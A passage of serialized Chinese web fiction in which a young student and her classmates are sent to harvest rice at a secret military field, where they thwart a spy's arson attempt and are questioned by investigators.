怀揣着满腹疑问，市中全校师生都汇集到了操场上，人挨着人，好不热闹。 在上课铃停止的那一瞬间，钟莹莹见到了传说中的那个牛副校长，他看起来和总是鼻孔朝天的牛犇完全不像是同一类人。 虽然年纪不小了，但保养的不错，也没有中老年人的大腹便便，他个子高挑，身材纤细，带着副眼镜，看上去就是文质彬彬的读书人。 “咳咳咳……”牛开霁清了清嗓子，还没说话，话筒中就传来一阵尖锐刺耳的乱流声。 他耐心的等着信号恢复，才开口道：“同学们，正值秋收，我知道，过往我们市中是没有放农忙假的惯例的。” “因为大家基本上都来自于工人家庭，只有少部分是从下面的县城考进来的。” 他抬头望着一操场的学生，停顿片刻后，接着道：“但是” “我们家里没有农民，不代表我们就不事生产，不参与农业劳动了。” “我们吃的、喝的，哪一样不是农民同志生产出来的？”牛开霁越说，声音越发的慷慨激昂。 钟莹莹根据他的表现，大概能猜出，今天这场‘动员大会’哪来的了，校长都不在，那只能是这位副校长，想拿她们学生出去做表率，给自己添功绩了。 果不其然，他下一秒就提到：“经上级部门研究决定，我们市中今年也要参与到劳动中去，领导们一致决定，不能让学生们脱离群众，做只会死读书的书呆子！” “所以，明天学校给大家安排了劳动实践的活动，为期一周，今天晚自习的时候，各班的班主任会通知你们具体地点，明天一早我们就出发。” “还有，请大家自备口粮，我们是去给人家帮忙的，不是去吃拿卡要的！” 钟莹莹听到这都忍不住想翻白眼了，合着给人白干活，连顿饭都不给吃啊？ “食堂晚上会给大家准备好足量的菜团子，请大家下了晚自习后，带着钱票，根据自己的饭量，适量购买自己这七天内所需要的饭食，以免造成铺张浪费。” 这比周扒皮还狠，食堂做的糊糊饭已经够难吃的了，现在换成菜团子，还是能够放七天的菜团子，钟莹莹想象不到那该是多么罪恶的口感。 “好了，今天的活动就到此为止，大家早点回去准备吧！”牛开霁笑的和蔼可亲，有种不顾学生们死活的美感。 散了场的学生脸上就没一个带着笑的，一个个愁眉苦脸的好像掉茅坑里爬不上来了一样。 “莹莹，真的要去干活啊？我不想去……”祁绮长这么大，干过的最累的活，也就那几年干旱跟着县中几位室友去到处挖东西，但那个时候她并不缺吃也不缺喝的，更多的是抱着一种玩乐的心态。 一个寝室四个女生，只有钟莹莹和宋悦是真正干过农活的。 牛丽华和祁绮都是不折不扣的城里人，祁绮好点，好歹见识过乡下是什么样的，牛丽华就不一样，从出生到现在一直都是待在城里。 宋悦已经开始打包行李了，被子不好带，现在夜里又凉，到了乡下，没被子都不好睡觉。 她收拾到一半建议道：“要不，我们只带两床薄被过去吧，到时候我跟丽华睡一起，莹莹你跟祁绮睡一块。枕头啥的就别拿了，晚上凑合着枕着外套睡。” “我同意。”出门在外的，能轻省点就轻省点。 “腾出来点地方，多装点其他东西，吃的多带点，还不知道晚上食堂做的菜团子啥样呢！”钟莹莹不相信食堂能给她们整出什么好东西。 钟莹莹问：“咸菜坛子不好抱，你们有油纸吗？” 牛丽华举手：“我这里有，莹莹你要油纸做什么？” “装咸菜啊！拿油纸包着，我们多少能带一些过去，能少受些罪少受一些。”钟莹莹本身是不用拿油纸装的，她那个小空间，挤一挤几小坛咸菜还是装的下的，但为了拿出来吃的时候不那么突兀，她选择让室友也跟她一块带些菜过去，这样她就能光明正大的吃了。 女生寝室里多多少少会藏些零嘴儿，之前余嘉祥帮忙从供销社买的糕点她们也没吃完，这会儿都装包裹里了，还有两三件换洗衣物，祁绮和牛丽华本来怕洗了晒不干，想多拿几件，还是宋悦一句：“你们确定到了乡下累个半死还有心情换衣服洗衣服？”干完活不倒头就睡算好的。 又是一群没干过重活的娃子，干完能手不抖拿的拿起筷子就算她们成功了，还洗澡换衣服？怕不是想的有点美啊！ 祁绮和牛丽华北她说的只好作罢，仅仅带了两件以备不时之需。 晚上食堂没做饭，说是等到学生晚自习结束那个点，直接拿菜团子当晚饭。 钟莹莹害怕之前开封后没吃完的油辣椒这几天留在学校会坏掉，她把坛子又抱来了食堂。 果然，食堂的作风一如既往，完全没有让她们失望。 那绿油油的团子，真的是名副其实，除了一点点粘合用的粉粉，全是菜叶子做的，蒸完好像还在火上烤了一下，有些地方烤糊了，绿中带着焦黑色。 第110章 ‘哐当～’ 有同学没拿稳，手里的团子砸在了地上，在地上弹跳着滚出去老远，期间不但发出和金属碰撞的声音，捡回来还毫发无伤。 刹那间，食堂的时间仿佛静止了一般，所有人的注意力都放到了那个团子上面。 那同学也不嫌弃，拍了拍团子上面的灰尘，就塞进了嘴里，咬了一下，他又拿了出来，团子上面出现一个不太清晰的牙印，没咬动，他尴尬的摸了摸后脑勺，把捡回来的那个团子放回到布兜子里的那一大堆团子里面，拎着兜子走了。 留得一食堂的人面面相觑，不知道这团子他们是买还是不买。 买吧？这玩意又咬都咬不动，不买吧？去乡下他们吃什么？ 这群没有去过乡下的城里娃娃，还以为乡下会缺衣少食，没吃也没喝的。 “我们还买吗？”祁绮呆愣愣的。 “买……买些吧、少买点！”这么好的东西，钟莹莹有些害怕她们无福消受。 但又不确定究竟会被分到什么地方去，不坐车的话，那应该就是离市中最近的村子，反正不会是她们熟悉的地方。 要是村民们好相处还好，有地方换吃的，遇到那不好相处认死道理的，换不来吃的，那这些团子到时候也能派上用场，起码不会让她们饿着肚子干活。 钟莹莹她们一人换了十五个团子，今天晚上吃掉一个，还能剩十四个，晚上食堂都没做饭，明早指定也没饭。 十四个团子，‘省着些吃’，加上包裹里的那些糕点还有咸菜，足够她们撑过那七天了。 高二一班的同学们取了团子都没有走，反而是在食堂里享受起了最后的晚餐。 梆硬的团子，配上酸辣清脆的辣椒，虽然咬不动团子，但苦中作乐，一点点磨牙倒也品出了一点滋味来。 钟莹莹买团子的钱，赵磊他们要补给她，她没要。 去乡下他们又吃不着她的咸菜，没必要，她让他们等回来了再说。 第二天一大早，老师们就来催集合，让他们收拾完东西立马出发了。 让钟莹莹意外的是，目的地还真就离市中不近，因为他们一行人坐上了绿色的军车，要是近的话，哪还用坐车。 老登副校长一直没出现，只有基层的老师们带着学生们上了车。 钟莹莹恨的牙痒痒，心想这死老登把他们卖了换利益，连装都不愿意装了，这老登哪天要是下台了，她高低去踩一脚。 但是现在人在屋檐下，不得不低头啊，钟莹莹心里全是怅惘，这日子啥时候是个头啊。 班上的其他同学倒是挺兴奋的，因为有车坐了，还是威风凛凛的军车，说出去多风光啊。 因着这个，他们心中的不满与忿恨都减少了不少。 一个班几十号人挤在一个车斗里，车子晃晃悠悠的开了好几个小时还没到地方，一车的学生最初的兴奋劲儿褪去，只剩下困意，在昏昏欲睡中，一个个靠在行李上，眼睛要闭不闭的，正要闭上时。 “哎……醒醒……到地方了……快下车！” “下车了！” “别睡了！喂～醒醒……” 外面拍打车身的声音，和各种叫喊声，还有车围栏被放下来的声音混杂成一团。 倚靠的地方都被人给拆了，车上的人哪里还睡的下去。 钟莹莹一班人从拎着行李从车上下来时，一个二个都傻眼了，这是给他们干哪里来了？荒郊野外的，不是说给村民们干活吗？村子呢？ 只见皎洁的月光下，一望无际的旷野中生长着大片金色的稻浪，但除了稻浪，和他们这群刚到的人外，一点人烟也没有。 “好了，同学们，都不要吵了，大家拿好自己的东西，跟我走！”在一片吵嚷声中，突然有人吹了一声口哨，大声吆喝着让所有人跟他走。 钟莹莹他们没有别的办法，只好个个拎着小包袱跟上前面那人的背影。 沿着稻田中间的小道又走了不知道多久，前面那人终于停下了脚步。 “各个班都有，听我口令，男女分开，列成两队，依次报数！” 等同学们按照他说的做完了，他才接着往下说：“我知道大家心中肯定有很多的疑问。” “但请大家什么都不要说，也不要问，老实干完活，会有人来接你们回学校！” “看到面前的这些棚子了没有？” 钟莹莹抬眼望去，只看见几个四面透风的草棚，里面空空如也，啥也没有。 见众学生都看见了，他道：“这就是接下来七天你们要住的地方，棚子上面有编号，根据班级数字，大家各自找到对应的住所就行。” “好了，天也不早了，明天还得干活呢！大家早点进、额……屋休息！全体都有，解散！”说到那个屋字的时候，他明显停顿了一下，显然也是知道，面前简陋的住所，可能并不能够称之为‘屋’。 钟莹莹跟着编号找到了班里的两个棚子，她一时之间，竟然不知道该不该进去。 说是草棚都算是抬举它了，简单的四个柱子被立在地上，头顶的架子上只稀稀拉拉的固定了一些茅草，钟莹莹站在外面往里看，都能透过茅草中间的缝隙看见月光，合着不仅四面漏风，连顶也是漏的啊？ 其他学生嘴里也是骂骂咧咧的抱怨，他们何尝住过这种破房子，就算是学校里最穷的学生，家里好歹都有片破瓦片遮风挡雨。 “老师？这怎么睡啊？老师你说句话啊！” 面对学生们的质问，众老师心中也满是苦涩，副校长只跟他们说要下乡干活，没跟他们说条件这般恶劣啊！ “都不睡觉杵在那干嘛？不累的话我去拿镰刀，要不你们今天就开始干活？”领他们来的那人眼里满是不怀好意。 学生们敢跟老师横，却不敢跟穿绿军装的人横，这人一看就凶，怕不是惹急了还会动手打人吧？ 学生们怕，老师也怕啊，这些看着他们的人跟以往见到的温和的绿军装不太一样，这些人一看就像是……像是见过血的。 别不是他们上错车，让人给拐了吧？ 怀揣着这种心情，各个班的班主任让学生们不要声张，老实的去棚子里面休息，剩下的他们来交涉。 见孩子们乖乖听话，老师们虽然心里害怕，但还是鼓起勇气，来到了送他们过来的军车前面，小心翼翼的开口询问道：“你好，我们想问一下，不是说下乡干活的吗？你们怎么学生们带到这里来了？我们、我们也没见到村民们啊？” 车上同样穿着绿军装的司机：“对不起，这是保密问题，你们无权过问。” 他虽然啥也没说，但他的话却让老师们心里安定了不少，他们没有上错车，遇到的是正规军就行。 重新回到学生队伍里，班主任道：“同学们，有什么事情明天再说，你们先收拾一下，凑合着先睡一觉。” 老师都开口了，学生们再多的不情愿也只能压在心底。 草棚子的地面上杂乱无章的铺了一层干草，钟莹莹都怀疑下面可能会有虫子，她被分在了靠柱子的地方，她打算就这么倚着柱子凑合一晚。 奈何寒凉的空气逼迫她不得不将自己干净的小花被给掏出来，盖在了自己和祁绮身上。在车上还好，人多，又有防水布挡风，下地一闲下来就不行了，就她自己的话，还能忍忍，她不能让祁绮跟她一块忍。 被子脏了就脏了，反正回学校还能洗。 就这么凑合着睡了一夜，还没反应过来，第二天一大早就有人喊他们起来干活了。 被子在空气中暴露了一宿，钟莹莹伸手摸了摸，上面湿乎乎的，全是露水，她眉头紧皱，在心里不断思索着眼前的情况。 稻田、士兵、破草棚子、学生……她该不是误入某某实验田了吧？或者其他军事重地？ 但为何军事重地要让他们学生进来啊？这说不通啊！ “你们有十分钟的时间吃饭和洗漱，这是你们今天的用水，水井在那边”他用手指了指稻田尽头的地方“这些水用完了，如果你们还想要用，就要自己过去打水回来。” 绿军装也不理解为何部队的地方要让一群学生掺合进来，就这细胳膊细腿的，能干多少活啊？别最后把稻子割的乱七八糟的，还得他们来收尾。 但命令大于天，他们有再多的疑惑也只能服从命令。 喝着冰冰凉的进水，啃着梆梆硬的菜团子，一众师生的心情要多糟糕就有多糟糕。 然而最糟糕的事情还在后面，当他们拿起镰刀走进稻田里，才知道什么叫没有最坏，只有更坏。 水稻的稻杆剌在手臂上既刺挠又痒痒，要不是穿的长衣长裤，他们的腿估计也不能幸免于难。 可随着时间的推移，日头逐渐悬挂在天空的正中央，又大又晒，不撸起袖子干，热的压根没办法。 想凉快就保不住胳膊，想保住胳膊就得忍受燥热。 钟莹莹的选择是保胳膊，忍着热。 活还得干七天，第一天就把胳膊划破了，后面的日子更难熬。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 110-120 第111章 镰刀的使用需要技巧，稍不留心就容易割伤自己。 是以学生们都使的很小心，收割的速度一个比一个慢，等干了一上午，抬头一看，那三十多亩地还是没看到尽头。 中午吃饭的时候，那些看着他们干活的人不知为何发了善心，拿了三四口大锅，就地垒了柴火灶，说是给他们加热菜团子用。 至于柴火，将稻穗割下来，剩下的稻杆就能直接烧。 在烧火做饭的时候，他们一直被紧紧盯着。 等菜团子被加热好，那些人直接一桶水泼过来，给火灭了。 “你……”学生们群情激昂，那是他们好不容易才生起的火，准备就这么续着，晚上做饭还要用的。 绿军装冷哼一声：“我什么我，这火并不灭了，要是引燃了边上的稻田，这三十多亩地，你们赔的起吗？” 学生被怼的哑口无声，只小声吐槽：“又不是我们要来的……” 他们委屈啊，原以为逃离学校，干点农活能松快些呢，有些机灵的还想着能不能和村里人换个鸡蛋啥的吃一吃，现在全都泡汤了。 这鸡不生蛋，鸟不拉屎的地方，想见个外人都难。 还被一群凶神恶煞的人看守着，气急了想吃放火里烧两把稻谷吃都不行，守的太死了，压根找不到机会。 高二一班的学生都挺老实的，干完活了，就窝到自己班分到的那个小棚子里啃菜团子，窝窝囊囊的，都憋着气，想着早点干完早点滚蛋。 好不容易把饭吃完了，灌了一肚子凉水，有人一脸难色，肚子咕噜噜作响。 “不好，我闹肚子了！”他焦急的四处张望着，这荒郊野外的哪里有厕所啊？ 可屎到临头，马上就要喷涌而出，哪里还憋得住。 “老师……”他目露祈求，未尽之意全在不言中。 老师也很难受，这里除了稻田就是草棚子，一个是他们睡觉的地方，一个是要干活的地方，在哪里拉都不合适啊！ 糟糕的是，不止一个学生想拉，有好些个学生昨晚刚到的时候就想上厕所了，但是初到一个陌生的环境中，他们忍住了，这会儿又吃了两顿饭，实在憋不住了。 几个班级一百来号人乱成了一锅粥。 好在绿军装过来给老师们解了围，给他们指明了方向。 虽然要夹着屁股奔跑五六百米，但是能一泻千里，值了。 当一个个学生还有老师捂着屁股从远方归来时，祁绮也闹起了肚子，正好钟莹莹也有些想去，所以宿舍四人组一块也去了那个‘厕所’。 途中遇到班上男同学，问他什么情况，那人白着脸，神秘的笑笑说：“你们去了就知道了！” 钟莹莹祁绮觉得那个‘知道’，知道的应该不是什么好东西。 但箭在弦上，不得不发，就算前方有坑，他们也认了。 跟着先前的同学一样走了快五六百米，她们终于见到了那个玩意，或者说没见到就先闻到了那个玩意的味道。 ‘呕……’ 前面蹲在地上捏着鼻子狂吐到人不是钟莹莹的好同桌，还能是谁。 将早上和中午吃的东西全吐了个干净的余嘉祥用脚踢了踢地面的土坷垃，将呕吐物给覆盖住，然后又吐了几口口水，想着去弄点水来洗洗脸的时候，一起身，就见班上四个女同学正瞠目结舌的盯着自己。 他没有说话，只*是递给了钟莹莹一个自求多福的眼神。 “有那么可怕吗？”宋悦不相信，这能比她们村里的邋遢户家的旱厕还要夸张吗？ 要知道，那家人的旱厕压根没地方下脚，里面全都是……就这人家还引以为傲，说自家产的肥料好呢。 宋悦率先走进了那充满神秘感的低矮建筑内，钟莹莹在心中倒数，三、二…… “呕……” 还没数到一呢，一个熟悉的身影就冲了出来。 步了余嘉祥的后尘，宋悦找到一块干净没人的地方就开始大吐特吐。 牛丽华陪在她身边一脸担忧的询问：“悦悦，你怎么了？” 她不问还好，一问宋悦就开始不自觉的回忆起方才在里面见到的场景，她又开始不断的往外吐酸水。 牛丽华不敢再问，她也不敢往那建筑里进。 有个绿军装路过的时候，一脸可惜的看着宋悦开口道：“哎呀，都浪费了，你这吐在外面，还不如吐到里面呢。” 回应他的只有宋悦一直没有停过的干呕声。 胃里的食物吐完了，她又开始吐黄水。 祁绮还捂着肚子站在边上等着她说说看里面啥情况呢，现在看来她一时半会儿的应该是缓不过来了，自己的肚子又疼的实在是厉害，想着早死晚死都得死，她心一横，一头就扎了进那地方。 钟莹莹站在外面不知道是等宋悦吐完了，了解一下情况再进去好，还是跟着祁绮就这么直接莽进去。 算了，直接进去吧。 祁绮在里面坚持的比较久，她实在是没法子了。 钟莹莹进去后，憋着一口气，在里面迅速解决了生理需求后，也没管祁绮啥样，跑的比兔子还快，出来后才敢放开呼吸。 到底啥人才能干出来这事？在稻田边上直接建露天化粪池？还恶趣味的分了男厕和女厕。 一排排的坑位下面直接是巨大的屎池，这样一说是不是感觉跟乡下的旱厕差不多？但大错特错，小小旱厕压根没这个地方冲击力度大。 那深坑仿佛深不见底一般，而且钟莹莹敢保证，里面绝对不止有人粪，她都看见某些小动物没消化完的草渣子了。 旱厕有的小生物它也一个不好，会弹跳蠕动的白胖胖的蛆虫，一蹦哒能直接跳到人的大腿上，这完全就是加强加大升级再升级版的旱厕！ 钟莹莹也想呕了，但她忍住了，吐了以后更难受。 不远处好不容易整理好心情，关切的问她：“莹莹，你怎么样？还好吗？” 钟莹莹：“……” 艰难的露出一个笑后，她对这个问题避而不谈，只是说：“我们等祁绮出来就一块回去吧！” 宋悦理解她的心情，狠狠点头：“嗯！” 转头看向牛丽华，宋悦又好心建议道：“丽华，你要不要也去上个厕所，先适应一下，晚上再来不会那么难受。” 牛丽华已经被吓怕了，听到这话一个劲儿的摇头。 但是宋悦一直劝，说早去晚去都得去，趁大家都在，有什么问题，也能大家一块想办法（绝望、其实压根没办法……） 牛丽华被说动了，含泪走了进去。 一进去她就头脑发昏，想逃来着，但想到宋悦的话，又看着一脸挣扎，满头大汗蹲着的祁绮，她只能不情不愿的找了个还算干净的坑位解决了一下私人问题。 牛丽华是跟祁绮一块出来的。 俩人走出茅坑的那刻双脚都在打颤，草棚那边的哨声又吹响了，在提醒她们尽快回去干活。 四个人互相搀扶着往回走，路上还遇到很多和她们状态一致的同学。 所有人心中都不约而同的开始骂起了副校长牛开霁，骂他黑心肠。 那此时的牛开霁在干什么呢？ “小犇，让你跟着学生们一块下乡劳动你为什么不去？” “爹～他们去乡下，不已经给我们挣到功劳了吗？那为什么还要我过去？” 牛开霁恨不得踢死这个孽障，他以为他是谁？一个普通的老师，要是没有他这个爹，连劳动都不参加，不是明摆着给人送把柄呢？ “谁给你挣的？你的脸有这么大吗？你别忘了，你爹上面还有个校长呢！”牛开霁一脸的恨铁不成钢。 牛犇不以为然道：“那怕啥，不就是个校长吗？咱们头上可是……” ‘啪～’ 牛犇话还没说完，就被牛开霁扇了一巴掌。 他一脸委屈，不明白自己做错了什么“爹，你打我干什么？” 牛开霁指着他的鼻子道：“跟你说了多少遍了，要谨言慎行，你怎么就听不懂呢？” 牛犇：“爹，我就不明白了，你到底在怕什么啊？” “在池省，我们姓牛的说一，有人敢说二吗？” 牛开霁气的快要撅过去，再不复给学生开会时，儒雅的模样，那眉目狰狞到要是让外人来认，都不敢认是他。“在池省是这样，那全国呢？” 牛犇：“全国那么多省呢！哪能就专查我们啊？爹你就不要杞人忧天了！” “我杞人忧天？” “爹，我不是骂你，我就是觉得……你有点太小心了。”牛犇看他爹生气了，忙不迭的为自己辩解。 牛开霁把气得把茶杯都扔了“你给我滚出去，我不想再在这里看到你。” 见牛犇不动，他又冷声道：“出去！听不懂人话是吗？” 被一而再、再而三的骂，本就脾气不好的牛犇也崩不住脸上的表情了。 他气愤道：“走就走，有什么了不起的。” “我知道，你就是瞧不上我，你的眼里就只有那个牛闰桥，你死心吧，你再喜欢他，人家也不会给你当儿子的！” 牛犇骂完就走了，全然不顾自己的老父亲被自己气的手抖的连站都快站不稳了。 牛开霁在办公室里不住的喃喃道：“废了啊……废了。”这个儿子算彻底废了！ 办公室里的电话铃声突然响起，他颤着手，拿起电话，不知道对面说了什么，他瞬间冷静下来，面如寒霜，最后只应了一句：“好的，我知道了。” 第112章 挂断电话后，他很快又拨了一个电话出去，声音冷冰冰道：“7号，计划有变，时间来不及了，你那边提前下手。” 打电话时的牛开霁跟在牛犇面前，还有在操场上的都完全不一样，就好似完全换了个人。 “7号收到！over！” …… 远在荒郊野外收割水稻的一名绿军装看周围没人，拿起打火石就想引燃那一片稻田，在打火石刚打起火的时候，边上不知道从哪里冒出来另外两个绿军装，迅速的把他给按在了地上。 “老实点、不许动。” 想放火的那人被死死压在两人身下，动弹不得，一开始还有点挣扎的意图，过了几秒后，他的身子忽然瘫软下来。 “老大，不对劲！” 压制他的人觉察到不对，用手一探，他的鼻息没了，接着把手拿上来时，他瞳孔急剧放大，那只手上沾的全是血。 “我*你****，辛辛苦苦看了这么多天，你**的给我死了，我*****” 俩人的愤怒溢于言表，嘴里的脏话如果让纠察听见，那指定免不了受罚。 骂了好一会儿，好不容易平静下来，矮个子的那个有些不安的问：“老大，现在人死了我们怎么办？” 高个子的那个任务目标死亡后，本来心情就不佳，还被个愣头青问来问去的，他阴阳怪气道：“你问我怎么办？我还想问你怎么办呢？” “你这脑袋长那么大，合着里面全是浆糊，一点脑子也没长啊？” 被人指着鼻子骂，矮个子也不生气，只是憨憨的摸了摸脑袋，笑着说：“老大，俺知道俺笨，俺娘说，让俺跟着你老实听话就成。” 高个子彻底无语了，这呆子，你骂他他都不带生气的，他还能说什么。 俩人正要将尸体拖走时，忽然听见学生们那边传来呼救声，他们立马把尸体丢掉，抄起家伙就冲了过去。 “不是说了，任务目标只有这一个吗？怎么学生那边还会出问题？” 高个子跑的快要飞起来了，但凡今天这群学生有一个出了事，他都没办法原谅自己。 矮个子腿短，落后了他一步，此刻脑袋懵懵的，只想问一句：老大，你问我，我问谁？ 俩人赶到目的地时，局势已经被控制住了。 一群学生围着一个口吐鲜血的学生，手忙脚乱的不知道该做些什么。 而人群中有两个傻眼的女生，手上身上全是血。 “都让让……”推开人群，俩人挤进去凑到那吐血的人跟前，还没怎么观察就瞪大了双眼，这死法跟他俩那任务目标不是一模一样吗？ 也就是说，内奸不止那一人，学生中也有？ 学生们见绿军装来了，也对那学生束手无策，一个个群情激昂的开始指责那俩女生。 “都是你们，害死了杨海！杀人偿命！” “对，杀人偿命，军人叔叔，杨海就是被这两个人给害死的！” “她们该不会是特务吧？” 有人发出这个疑问后，剩下的人就着这个猜想，也跟着往下胡思乱想。 高个子跟矮个子知道事情的严重性，不想再跟这群高中生打眉眼官司，当即大吼一声道：“都给我安静。” “全体都有，抱头蹲下！” 见学生们没啥反应，他俩掏出腰间别着的家伙，对着天空就是‘砰砰’两枪。 这下没人再提出抗议，一个个蹲的比兔子还快。 枪一响，原先周边没出现的守卫，此刻也一个个冒了出来。 高个子对其中一人道：“这群学生你全部带走，挨个审一下！” “还有这两个……”看着身上和脸上都沾了鲜血，茫然不知所措的两个女生，高个子有些犯难了。 理智告诉他，这两人应当就是正常的学生，只是碰巧遇上了这事，没准还立功了。 但程序告诉他，不能够这么草率，他只能揉了揉额头，果断道：“这两个也带走，和那些分开关！” 别那群人中还有没被抓到的特务，给这俩人也害了。 “姓名？” “钟莹莹。” “年龄？” “十三。” 审判者听到这个年纪微微抬起头“十三就读高中，你家人让你读书读挺早啊！” “别害怕，我只是例行询问，问完后很快会放你出去的。” …… 坐在审讯室里，独自一人面对审判者的时候，钟莹莹都不知道该夸自己一句，还是该骂自己一句好。 就简单的参加一下学校的劳动活动，都能遇上这么倒霉的事。 好端端的下乡干活，被人改成了来实验田，还好死不死的遇到有人放火，正好又被祁绮给撞见。 完了在祁绮身边的她也逃不脱，只能一边喊人，一边跟祁绮俩人扑过去将人按住了。 一个大男生，她们两个小女生按起来真有些吃力。 好在班上其他同学距离这个位置不是很远，听到声音他们来的很快，一个个过来帮忙，彻底把那杨海给压制住了。 但坏也就坏在这里，被控制住的杨海也不知为何，猛的抬头喷了几大口鲜血，全喷她跟祁绮身上了。 学校里其他同学赶过来时，班上同学已经撒开了按住杨海的手。 于是他们看见的就只有倒在地上没了气息的杨海，还有沾了一身血迹的钟莹莹和祁绮。 有人大声喊着杨海被人害死了，于是剩下的人就真被误导，以为是钟莹莹和祁绮害死了杨海。 “你还能记得，当时看见了什么吗？” 审判者尽可能的让自己的语气显得温和一些，免得吓到面前的孩子。 钟莹莹努力放松自己，回忆当时看到的画面“我看到……看到祁绮在割水稻，然后那个男生偷偷的从裤兜里掏出一盒火柴，他擦了两下没打着火，祁绮感觉不对劲，就过来喊我……” “然后……” “你慢慢想，不要着急，看到什么说什么就行！”审判者温柔的鼓励着钟莹莹。 “然后，然后他的火柴打着火了，他对着稻子就要点，我俩情急之下，就提着镰刀过去了。” “他被我俩按住后，我们喊班上同学，同学来了后，压着他，他就吐血了。” 钟莹莹想着想着突然想到又个不对劲的地方，其他同学都是喊杨海出事了，只有后来的那个男生一上来就是指责她们害死了杨海。 她接着开口道：“后来来了一个男生，他一直说是我们害死了杨海！” 这才是重点，审判者立马重视“然后呢？你还记得他长什么样吗？你认识他吗？知道他哪个班的吗？” 钟莹莹还没来得及回答，他的问题就一个接一个不断抛出。 循着记忆，钟莹莹道：“应该是带着一副眼镜，不高，有点胖，还很白……其他的我就没印象了。” 那人出来骂了两句后，又迅速的退回到人群中去，压根没怎么给人反应的时间。 “有这些就够了，小同志，谢谢你的配合！” 审判者和钟莹莹握手后，给她敬了个礼。 今天要不是她和另外一位女同学，那坏人的阴谋还真能得逞。 在钟莹莹还二和尚摸不着头脑的时候，她又被带到了一间休息室，有人给她拿了一些吃的后，就锁上门走了。 她在休息室内不知道等了多久，都没人过来。 害怕被监视，她也不敢乱动。 身上和手上还沾着血迹，黏糊糊，脏兮兮的，比之前遇到的那个大号粪坑还让她恶心。 激动之下产生的肾上腺素褪去，她现在心里只有后怕。 当时怎么就头脑一昏冲上去了？要是那人身上有炸弹怎么办？她岂不是现在就见太奶了？哦，不对，现在的娘就是她以前的太奶，太奶还真就见过了，那就是见祖宗了？ 她应该用镰刀给他扎倒的，可都是同学，她也不确定他是不是只是一时顽劣……怎么做好像都有不对的地方。 也不知道祁绮咋样了，自己都吓成这副德行，那小妮子该吓破胆了吧？ 分别审问完所有同学的审判者们聚在一起，整理得到的情报。 审问祁绮和审问钟莹莹的是同一个人。 他摇了摇头，想到自己审问两人时，得到的截然不同的反应，有些无奈。 小一点的那个反倒胆子大一些，有什么说什么，大的这个直接被吓得语无伦次，问什么都只会嗷嗷哭，一直喊着她要回家。 去调查她们背景的人也回来了。 小县城，土生土长，一人家里世代农民，就是家庭成员构造有些奇怪，但无伤大雅，一人家里全是公职人员，俩人除了来市中上学，基本上没咋离开过池省，还在此次行动中立功了，所以基本排除了这俩小姑娘是特务的可能性。 就是现在学校也出了一点问题，里面的危险还未能完全排除，给她们送回学校是不可能了，只能通知家属过来接人。 在家属来之前，确定安全的学生们闲着也是胡思乱想，丧心病狂的组织者又想了个阴招，把他们又给送回了那片稻田里割水稻，还美名其曰，是给他们机会，让他们战胜心中的恐惧。 第113章 惶恐之中手下的动作却是不带停的，割了三四天的水稻，原先五谷不分的学生动作变得无比的熟练。 手上的水泡戳破了又愈合，愈合了又磨破，往往复复，形成了薄薄一层茧子。 余嘉祥手起刀落间，一堆堆连带着稻杆的水稻落在他的身后。 钟莹莹用水井里的冷水简单擦拭了脸上的血迹后，又将身上沾血的衣服打湿，使劲搓干净了，挂在草棚外面晾着，洗澡是没办法洗的，她最多也只能做到这个程度了。 回稻田的每一天，她一睁眼一闭眼都是那人大口大口吐血的画面，前世今生都生在和平年代的人哪见过这场面，晚上要不是白天干活累到极致，压根睡不着。 祁绮的反应比她更为严重，原先就瘦弱的身子变得更为瘦削，仅仅几天，连骨头都有些突出了。 沉闷的气氛在同学之间不断蔓延开来，审问室里没出来的学生不止钟莹莹提到的那个小胖子，还有个别老师，市中都被渗透成筛子了。 “莹莹，你说我们还能回家吗？”夜深人静的时候，祁绮跟钟莹莹缩在一个薄被下，再也压制不住的小声呜咽着。 “呜呜……呜～我想回家，我不想待在这里了～” 钟莹莹又何尝不想回家呢，她都开始怀疑，自己来市里上学，究竟是对是错了，如果老实待在县里，哪会遇到现在这种情况啊。 祁绮的哭泣传进草棚下每个人的耳朵里，其他学生也受不了了，一个个躲在被子下面，抽抽嗒嗒的。 “呜哇哇哇哇……什么时候能回家啊？我……我想我娘了～” 还不敢太大声，怕引来旁人呵斥。 而且，月光下的稻田虽然亮如白昼，但终究像是笼罩了一层纱般朦胧，这层虚幻往日看没什么，再经历过这么多事后再看，就显得有些诡异。 异常活跃的大脑看什么都觉得可怖，大家都把头和身子努力的全部蜷缩进被子里，跟同伴紧紧相依。 又是三个日夜，他们在这片地里已经待足了七天，田里的水稻也被收割的只剩下个尾巴，但对方仍旧没有要放他们走的意思。 学生们自带的粮食也已经吃的差不多了，再这样下去，真要弹尽粮绝了。 高个子绿军装看在眼里，急在心里：上面不是说通知家属过来接人了吗？这都多少天了？他们这一点消息都没收到。 他急，外面市中的家长们比他更急。 底下县城学生的家长暂且不知道此事，但市里面的，谁家没几个当大官的远房亲戚，这次市中的动静这般大，整个学校直接被围了，学生们也一个不见踪影，稍微一打听，听说跟特务有关，哪个不是忧心忡忡。 都等了一周了，也没有孩子的消息，已经有家长聚在一起，说要去市政府要个说法了。 “我知道大家的心情，我家孩子也在市中读书，我的心情跟大家是一样的。”这次军方行动，压根没有通知他们市政府这边，余华容的心情也很忐忑。 他那儿子虽然对他有些怨念，但终究是他儿子。 余华容不仅要压下自己心中的担忧，还要打起精神去安慰爱子心切的市民群众们，这几天忙的那叫一个焦头烂额。 “请大家一定要相信我们的人民子弟兵。” “大家放心，孩子们目前都很安全，不会出问题的。” “等事情了结了，我会亲自去把孩子们给接回来的，一个都不会少。”余华容说的掷地有声，其实他自己心里也没底。 牵涉到特务，对方下手没轻没重的，万一伤到……不行，他得去军方那边问个究竟。 安抚完焦虑的市民群众，余华容立马吩咐小王：“开车，我们去军部。” …… “华容啊，不是我们不放人，是现在情况不允许啊！” 军部这边也觉得自己怨大头，明明是跟上级部门打配合抓特务，特务人家带走了，留下的烂摊子都得让他们收拾。 “人不是已经都抓住了吗？” “是抓住了啊，可是实验田那边出事了。”想到这事他就来气，原本两天前就该把学生们送回来的。 “出什么事了？”余华容神色紧张的抓住了游东侠，力道之大，就连游东侠这个大老粗都感受到了疼痛。 “你别紧张，放轻松……不是什么大事。”好不容易把手从余华容的魔爪下抽出来，游东侠揉了揉手腕慌忙解释道：“通往实验田的路上有条河，上游放水没控制好量，直接把那桥给冲垮了。” “那孩子们呢？” “孩子们没事，就是回来的话，必须要路过那架桥，桥毁了车子没办法开，他们要么等到桥修好再回来，要么就是等到有船只经过时，捎带他们一程。” 余华容听完全部的事情，才稍稍放下了心。 